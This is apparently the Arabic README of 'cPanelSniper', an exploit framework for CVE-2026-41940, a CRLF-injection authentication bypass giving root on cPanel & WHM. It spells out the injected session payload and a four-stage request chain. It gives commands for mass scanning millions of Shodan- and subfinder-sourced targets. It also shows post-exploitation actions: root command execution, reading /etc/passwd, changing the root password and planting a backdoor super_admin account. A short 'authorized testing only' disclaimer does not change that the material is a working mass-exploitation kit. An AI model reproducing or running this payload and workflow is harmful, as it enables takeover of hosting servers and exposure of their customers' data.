
# cPanelSniper STABLE - CVE-2026-41940 مُحسَّن لأكثر من 10 ملايين هدف
CVE-2026-41940 — تجاوز المصادقة في cPanel & WHM عبر حقن CRLF في ملف الجلسة
سلسلة استغلال من 4 مراحل · قشرة WHM تفاعلية · مستقرة فعليًا لأكثر من 10 ملايين هدف · صفر استخدام للذاكرة · stdlib فقط
cPanelSniper هو إطار عمل استغلال متخصص لثغرة CVE-2026-41940، وهي ثغرة حرجة في تجاوز المصادقة تؤثر على cPanel & WHM. تسمح الثغرة للمهاجمين عن بُعد دون مصادقة بالحصول على وصول كامل لجذر WHM عن طريق حقن تسلسلات CRLF في ملف الجلسة عبر ترويسة Authorization HTTP — دون الحاجة إلى أي بيانات اعتماد صالحة.
لاختبار الاختراق المصرح به وبرامج مكافآت الثغرات فقط.
هذه النسخة محسّنة لفحص أكثر من 10,000,000 هدف مع صفر استخدام للذاكرة.
--resumesubfinder وhttpx وshodanالسبب الجذري يكمن في Session.pm: دالة saveSession() تستدعي filter_sessiondata() بعد كتابة ملف الجلسة على القرص. هذا يعني أن أحرف CRLF المضمنة في قيمة ترويسة Authorization: Basic تُكتب حرفيًا في ملف الجلسة، مما يحقن حقولًا يتحكم بها المهاجم قبل حدوث التنقية.
التدفق الطبيعي:
POST /login/ → filter_sessiondata() → كتابة الجلسة → فحص المصادقة
التدفق القابل للاستغلال:
POST /login/ → كتابة الجلسة (حقن حمولة CRLF) → filter_sessiondata() → فحص المصادقة يقرأ الملف المسموم
قيمة Authorization: Basic تُفك ترميزها إلى:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
تُكتب هذه الحقول مباشرة في ملف الجلسة على القرص. عند قراءتها مرة أخرى، يعاملها cPanel كجلسة جذر مصادقة بالكامل.
┌─────────────────────────────────────────────────────────────┐
│ المرحلة 0 — اكتشاف اسم المضيف الأساسي │
│ GET /openid_connect/cpanelid → 307 → اسم المضيف الحقيقي │
├─────────────────────────────────────────────────────────────┤
│ المرحلة 1 — إنشاء جلسة ما قبل المصادقة │
│ POST /login/?login_only=1 (بيانات اعتماد خاطئة) │
│ ← 401 + كوكي whostmgrsession │
├─────────────────────────────────────────────────────────────┤
│ المرحلة 2 — حقن CRLF │
│ GET / + Cookie: session + Authorization: Basic <حمولة> │
│ cpsrvd يكتب حقول CRLF في ملف الجلسة │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ المرحلة 3 — النشر (أداة do_token_denied) │
│ GET /scripts2/listaccts │
│ يطلق مسح raw→cache — تصبح الحقول المحقونة نشطة │
│ ← 401 Token denied (متوقع) │
├─────────────────────────────────────────────────────────────┤
│ المرحلة 4 — التحقق من وصول جذر WHM │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = تم الاختراق │
└─────────────────────────────────────────────────────────────┘
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help
لا حاجة لتثبيت pip. Python 3.8+ stdlib خالص فقط.
# هدف واحد — فحص فقط
python3 cPanelSniper.py -u https://target.com:2087
# هدف واحد — قشرة تفاعلية بعد التجاوز
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# قائمة أهداف كبيرة — أكثر من 10 ملايين هدف (مستقر فعليًا)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# استئناف فحص متقطع
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
# سرد جميع حسابات cPanel على الخادم
python3 cPanelSniper.py -u https://target.com:2087 --action list
# تنفيذ أمر نظام
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# الحصول على معلومات الخادم (اسم المضيف، الحمل، القرص، مضيف MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# الحصول على إصدار cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version
# تغيير كلمة مرور الجذر
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# قشرة WHM تفاعلية
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → حفظ في ملف → فحص أكثر من 10 ملايين هدف
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# من قائمة النطاقات - التعامل مع ملايين النطاقات
cat scope.txt | \
httpx -silent -ports 2087,2086 -threads 100 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
# نتائج Shodan - فحص ضخم
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' > targets.txt
python3 cPanelSniper.py -l targets.txt -t 30 -o shodan_results.json
# أنبوب stdin - للقوائم الصغيرة فقط (<100 ألف)
echo "https://target.com:2087" | python3 cPanelSniper.py
# مصادر متعددة مجمعة → فحص واسع النطاق
{ subfinder -d target.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 > all_targets.txt
python3 cPanelSniper.py -l all_targets.txt -t 50 -o results.json --resume
لفحص أكثر من 10 ملايين هدف:
احفظ في ملف أولًا دائمًا - لا تستخدم الأنبوب مباشرة للقوائم الكبيرة
# جيد - يعمل مع أكثر من 10 ملايين هدف
httpx ... > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# سيئ - سينهار مع القوائم الكبيرة
httpx ... | python3 cPanelSniper.py
استخدم عدد خيوط مناسب
فعّل الاستئناف التلقائي للفحوصات الطويلة
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
إذا انقطع الفحص، أعد التشغيل فقط مع --resume
راقب التقدم
بعد تجاوز ناجح، تفتح علامة --action shell موجهًا تفاعليًا:
════════════════════════════════════════════════════════════
قشرة WHM — target.com
الإصدار: CVE-2026-41940 | المصادقة: تجاوز CRLF
اكتب 'help' للأوامر، 'exit' للخروج
════════════════════════════════════════════════════════════
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
[حسابات cPanel] target.com:2087 (47 مستخدمًا)
user01 النطاق: example.com البريد: [email protected]
user02 النطاق: shop.com البريد: [email protected]
...
[email protected] ▶ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[email protected] ▶ info
[معلومات الخادم] https://target.com:2087
اسم المضيف: srv01.target.com
الحمل: 0.72 / 0.66 / 0.69
الإصدار: 11.130.0.6
[email protected] ▶ addadmin mitsec P@ss2026!
[تم إنشاء مسؤول خلفي]
الهدف : https://target.com:2087
اسم المستخدم : mitsec
كلمة المرور : P@ss2026!
الملف الشخصي : super_admin
[email protected] ▶ exit
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--resume]
[-o OUTPUT] [--no-color] [--save-interval N]
الهدف:
-u, --url URL عنوان URL لهدف واحد (مثل https://host:2087)
-l, --list LIST ملف يحتوي على عناوين URL (واحد لكل سطر)
--hostname HOSTNAME تجاوز ترويسة Host الأساسية (يُكتشف تلقائيًا)
الفحص:
-t, --threads N الخيوط المتزامنة (الافتراضي: 20)
--timeout N مهلة الطلب بالثواني (الافتراضي: 15)
--resume استئناف من فحص سابق (تخطي الأهداف المعالجة)
الإخراج:
-o, --output FILE حفظ النتائج في ملف JSON
--no-color تعطيل ألوان ANSI
--save-interval N حفظ النتائج كل N ثانية (الافتراضي: 60)
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
...
CVE-2026-41940 — تجاوز مصادقة cPanel & WHM عبر حقن CRLF
4 مراحل: ما قبل المصادقة → حقن CRLF → نشر → تحقق → ما بعد الاستغلال
في البرية | CVSS 10.0 | بواسطة Mitsec (@ynsmroztas)
الإعدادات:
الأهداف : 1
الخيوط : 10
المهلة : 15 ثانية
الإجراء : list
14:46:22 [SCAN] بدء سلسلة الاستغلال من 4 مراحل... https://target.com:2087
14:46:23 [INFO] تم اكتشاف اسم المضيف الأساسي: srv01.target.com
14:46:23 [STEP] المرحلة 1/4 — إنشاء جلسة ما قبل المصادقة...
14:46:23 [ OK] المرحلة 1: جلسة ما قبل المصادقة = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] المرحلة 2/4 — حقن CRLF عبر ترويسة Authorization...
14:46:24 [ OK] المرحلة 2: HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] المرحلة 3/4 — إطلاق أداة do_token_denied (raw→cache)...
14:46:25 [ OK] المرحلة 3: HTTP 401 — تم إطلاق أداة do_token_denied
14:46:25 [STEP] المرحلة 4/4 — التحقق من وصول جذر WHM...
14:46:26 [PWND] تم تأكيد CVE-2026-41940 — وصول جذر WHM!
14:46:26 [PWND] الرمز : /cpsess8493537756
14:46:26 [PWND] الإصدار : 11.130.0.6
14:46:26 [PWND] عنوان API : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] تنفيذ إجراء ما بعد الاستغلال: list
14:46:27 [ API] listaccts → HTTP 200
[حسابات cPanel] target.com:2087 (47 حسابًا)
client01 النطاق: client01.com البريد: [email protected]
client02 النطاق: client02.net البريد: [email protected]
...
══════════════════════════════════════════════════════════════════════
cPanelSniper — اكتمل الفحص
الوقت: 5.8 ثانية · الأهداف: 1
⚡ 1 هدف قابل للاستغلال
الهدف : https://target.com:2087
الإصدار : 11.130.0.6
الرمز : /cpsess8493537756
عنوان API : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════
قيمة Authorization: Basic المحقونة (بعد فك ترميز base64) تحتوي على تسلسلات CRLF تصبح أسطرًا جديدة في ملف جلسة cPanel:
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1
يقوم قارئ جلسات cPanel بتحليل هذه الحقول كحقول جلسة شرعية، مما يمنح وصولًا كاملًا لجذر WHM.
الخطوة الحرجة والتي غالبًا ما تُغفل: بعد حقن CRLF (المرحلة 2)، توجد بيانات الجلسة المسمومة فقط في ملف الجلسة الخام. طلب إلى /scripts2/listaccts يطلق معالج do_token_denied الداخلي، الذي يمسح بيانات الجلسة الخام في ذاكرة التخزين المؤقت للجلسة. بدون هذا المسح، ستعيد المرحلة 4 رمز 403.
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
^ ^
| +-- تجزئة ob (مُزالة)
+-- اسم الجلسة (يُستخدم للحقن)
يتم استخراج اسم الجلسة (قبل %2C) واستخدامه كقيمة الكوكي للطلبات اللاحقة.
هذه الأداة مخصصة لاختبار الأمان المصرح به وبرامج مكافآت الثغرات فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية ولا يتحمل مسؤولية أي إساءة استخدام أو ضرر ناتج عن هذه الأداة. احصل دائمًا على إذن كتابي مناسب قبل الاختبار.
Mitsec — @ynsmroztas
صُنع بـ ❤️ بواسطة @ynsmroztas
| المشكلة | النسخة الأصلية | النسخة المُصلحة |
|---|
| استخدام الذاكرة | تحميل جميع الأهداف في الذاكرة | بث الأهداف سطرًا بسطر (0 ذاكرة) |
| 10 ملايين هدف | نفاد الذاكرة → إيقاف ❌ | يكتمل بنجاح ✅ |
| الاستئناف | غير مدعوم | علامة --resume |
| التقدم | لا يوجد وقت متوقع | وقت متوقع فوري + معدل + إحصائيات |
| النتائج | تُحفظ فقط في النهاية | تُحفظ كل 60 ثانية (قابل للتكوين) |
| الفرع | قابل للاستغلال | مُصحح |
|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
| الأمر | الوصف |
|---|
id / whoami | عرض UID واسم المضيف |
hostname | الحصول على اسم مضيف الخادم |
version | معلومات إصدار cPanel |
info | الحمل، القرص، مضيف MySQL، الإصدار |
accounts | سرد جميع حسابات مستخدمي cPanel |
cat <path> | قراءة محتوى الملف |
ls [path] | سرد الدليل |
exec <cmd> | تنفيذ أمر نظام |
addadmin <user> <pass> | إنشاء مسؤول WHM خلفي |
passwd <pass> | تغيير كلمة مرور الجذر |
api <endpoint> [k=v ...] | استدعاء WHM JSON API خام |
help | عرض جميع الأوامر |
exit | الخروج من القشرة |